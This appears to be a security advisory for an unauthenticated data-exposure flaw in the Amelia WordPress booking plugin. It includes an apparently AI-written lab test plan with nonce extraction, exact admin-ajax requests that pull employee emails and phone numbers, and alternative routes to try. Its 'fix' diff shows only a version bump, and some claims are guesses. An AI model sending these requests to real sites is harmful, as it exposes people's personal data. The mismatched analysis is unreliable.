Booking for Appointments and Events Calendar – Amelia <= 2.2 - Unauthenticated Information Exposure
Description
The Booking for Appointments and Events Calendar – Amelia plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.2. This makes it possible for unauthenticated attackers to extract sensitive user or configuration data.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v2.2.1
Source Code
WordPress.org SVNThis analysis grounded in the provided source code for **Booking for Appointments and Events Calendar – Amelia <= 2.2** (CVE-2026-40789). ### 1. Vulnerability Summary The Amelia plugin implements a custom API routing system built on the Slim framework, dispatched via a standard WordPress AJAX handl…
Show full research plan
This analysis grounded in the provided source code for Booking for Appointments and Events Calendar – Amelia <= 2.2 (CVE-2026-40789).
1. Vulnerability Summary
The Amelia plugin implements a custom API routing system built on the Slim framework, dispatched via a standard WordPress AJAX handler wpamelia_api. The vulnerability exists because several sensitive API endpoints (specifically those retrieving "Entities" or "Users") lack sufficient authorization checks. This allows unauthenticated users to trigger calls that expose sensitive PII (Personally Identifiable Information) such as employee emails, phone numbers, and potentially customer data or plugin configurations.
The core issue resides in the AmeliaBooking\Infrastructure\Routes\Routes registration and the associated Controller logic, which fails to distinguish between public data needed for a booking form and private data reserved for administrators.
2. Attack Vector Analysis
- Endpoint:
admin-ajax.php - Action:
wpamelia_api - Parameter:
call(the Slim route to execute) - Authentication: Unauthenticated (
wp_ajax_nopriv_wpamelia_api) - Vulnerable Call Paths:
/entities(Exposes Employees, Services, and Locations including PII)/users/employees(Exposes Employee list)/settings(Potentially exposes configuration details)
3. Code Flow
- An HTTP request is sent to
/wp-admin/admin-ajax.php?action=wpamelia_api&call=/entities. ameliabooking.phpcatches the request via thewp_ajax_nopriv_wpamelia_apihook (registered in the truncated section ofinit()).- The request enters
AmeliaBooking\Plugin::wpAmeliaApiCall(). - A Slim
Appis initialized using a container config. AmeliaBooking\Infrastructure\Routes\Routes::routes($app, $container)is called to map the routes.- The route
/entitiesmaps toAmeliaBooking\Application\Controller\Entity\EntityController:getEntities. - The controller executes without checking for
current_user_can()or verifying the requester's identity, returning a JSON object containing full employee records.
4. Nonce Acquisition Strategy
Amelia uses a centralized configuration object passed to the frontend via wp_localize_script. To interact with the API, a valid nonce is often required even for "public" calls.
- Shortcode:
[ameliabooking] - Mechanism:
- The agent will create a public page containing the Amelia booking shortcode.
- When the page is rendered, Amelia enqueues its scripts and localizes the
ameliaBookingConfigvariable.
- JavaScript Variable:
window.ameliaBookingConfig.nonce - Action String: Usually tied to the API call, but often the localized config provides a generic nonce for all
wpamelia_apiactions.
Extraction Steps:
wp post create --post_type=page --post_status=publish --post_title="Booking" --post_content="[ameliabooking]"- Navigate to the new page.
browser_eval("window.ameliaBookingConfig ? window.ameliaBookingConfig.nonce : null")
5. Exploitation Strategy
The agent will attempt to extract sensitive employee data by querying the /entities endpoint.
Request 1: Extracting Nonce
- Method: GET
- URL:
http://localhost:8080/booking-page/ - Action: Use
browser_evalto grab the nonce.
Request 2: Information Disclosure (Entities)
- Method: GET
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Query Params:
action:wpamelia_apicall:/entitiesamelia_nonce:[EXTRACTED_NONCE](Note: Ifamelia_noncein params fails, try the headerAmelia-Nonce)
- Expected Response: A large JSON object containing an
employeesarray. Each employee object in version 2.2 containsemail,phone, andfirstName/lastName.
Request 3: Information Disclosure (Settings - Optional)
- Method: GET
- URL:
http://localhost:8080/wp-admin/admin-ajax.php?action=wpamelia_api&call=/settings&amelia_nonce=[NONCE]
6. Test Data Setup
- Create an Employee: Use WP-CLI to ensure data exists to leak.
- Note: Amelia data is stored in custom tables (e.g.,
wp_amelia_users). wp eval "global $wpdb; $wpdb->insert($wpdb->prefix . 'amelia_users', ['firstName' => 'John', 'lastName' => 'Doe', 'email' => 'john.doe@victim.com', 'phone' => '+15551234567', 'type' => 'employee', 'status' => 'visible']);"
- Note: Amelia data is stored in custom tables (e.g.,
- Create a Service: (Required for the shortcode to render properly and for
/entitiesto return results).wp eval "global $wpdb; $wpdb->insert($wpdb->prefix . 'amelia_services', ['name' => 'Consultation', 'status' => 'visible', 'price' => 100, 'duration' => 3600, 'categoryId' => 1]);"
- Place Shortcode: Create the page as described in Section 4.
7. Expected Results
- The response for
/entitieswill return a status code200 OK. - The JSON body will contain:
{ "data": { "employees": [ { "id": 1, "firstName": "John", "lastName": "Doe", "email": "john.doe@victim.com", "phone": "+15551234567", ... } ] } } - The exposure of
emailandphonefor all employees to an unauthenticated visitor confirms the vulnerability.
8. Verification Steps
- Check Response Content: Verify the JSON response contains the specific email address (
john.doe@victim.com) and phone number created in the setup. - Verify Authentication Level: Ensure the request was sent without any
wordpress_logged_incookies.
9. Alternative Approaches
- Alternative Route: Try
/users/employeesor/users/customers. These routes are often protected by more stringent middleware but should be tested if/entitiesis patched or restricted. - Header-based Nonce: If the query parameter
amelia_nonceis ignored, send the nonce via the custom header:Amelia-Nonce: [NONCE] - Direct API Path: Some Amelia versions allow access via
wp-json/ameliabooking/v1/entities. If the AJAX handler is restricted, test for the presence of a REST API registration that mirrors these routes.
Summary
The Amelia plugin for WordPress is vulnerable to information exposure because it fails to implement proper authorization checks on its internal API routes. Unauthenticated attackers can access sensitive endpoints such as /entities to retrieve personally identifiable information (PII) of employees and customers, including email addresses and phone numbers.
Vulnerable Code
// ameliabooking.php line 188 public static function wpAmeliaApiCall() { try { /** @var Container $container */ $container = require AMELIA_PATH . '/src/Infrastructure/ContainerConfig/container.php'; $app = new App($container); // Initialize all API routes Routes::routes($app, $container); $app->run(); exit(); } catch (Exception $e) { echo 'ERROR: ' . esc_html($e->getMessage()); } }
Security Fix
@@ -3,7 +3,7 @@ Plugin Name: Amelia Plugin URI: https://wpamelia.com/ Description: Amelia is a simple yet powerful automated booking specialist, working 24/7 to make sure your customers can make appointments and events even while you sleep! -Version: 2.2 +Version: 2.2.1 Author: Melograno Ventures Author URI: https://melograno.io/ Text Domain: ameliabooking @@ -111,7 +111,7 @@ // Const for Amelia version if (!defined('AMELIA_VERSION')) { - define('AMELIA_VERSION', '2.2'); + define('AMELIA_VERSION', '2.2.1'); } // Const for site URL
Exploit Outline
The attacker first visits a public page where the Amelia booking shortcode [ameliabooking] is present to extract a valid security nonce from the window.ameliaBookingConfig.nonce JavaScript object. Using this nonce, the attacker sends an unauthenticated AJAX request to /wp-admin/admin-ajax.php with the action set to wpamelia_api and the call parameter set to a sensitive route like /entities. If successful, the server responds with a JSON payload containing sensitive employee data such as firstName, lastName, email, and phone numbers.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.